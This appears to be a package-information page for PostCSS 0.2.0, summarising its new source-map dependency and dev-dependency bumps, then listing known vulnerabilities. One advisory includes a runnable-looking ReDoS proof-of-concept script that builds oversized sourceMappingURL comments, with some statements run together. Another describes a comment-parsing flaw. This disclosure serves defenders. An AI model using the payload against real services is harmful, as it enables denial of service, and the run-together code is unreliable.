PostCSS version 0.2.0 marks a notable step forward from its predecessor, version 0.1.0, in this CSS post-processing framework. The most significant change lies in the introduction of a dependency on the source-map package. This addition is crucial for developers as it enhances debugging capabilities by allowing them to trace styles back to their original source, simplifying the process of identifying and resolving issues in complex CSS workflows. While version 0.1.0 was dependency-free, this inclusion highlights the project's commitment to improved developer experience.
Beyond dependencies, the development dependencies also saw upgrades. mocha was updated from version 1.14.0 to 1.15.1, and should assertion library went from 2.0.2. to 2.1.1. These upgrades are beneficial to the package developers adding new functionalities to the library to ensure continuous quality control. Both versions maintain the same core development dependencies, including fs-extra and coffee-script, as well as the MIT license, author, and repository details, indicating a continued commitment to open-source principles and consistent maintainership. Developers considering PostCSS for CSS transformation projects should note the introduction of source map support in version 0.2.0 as a key advantage for streamlined debugging.
All the vulnerabilities related to the version 0.2.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.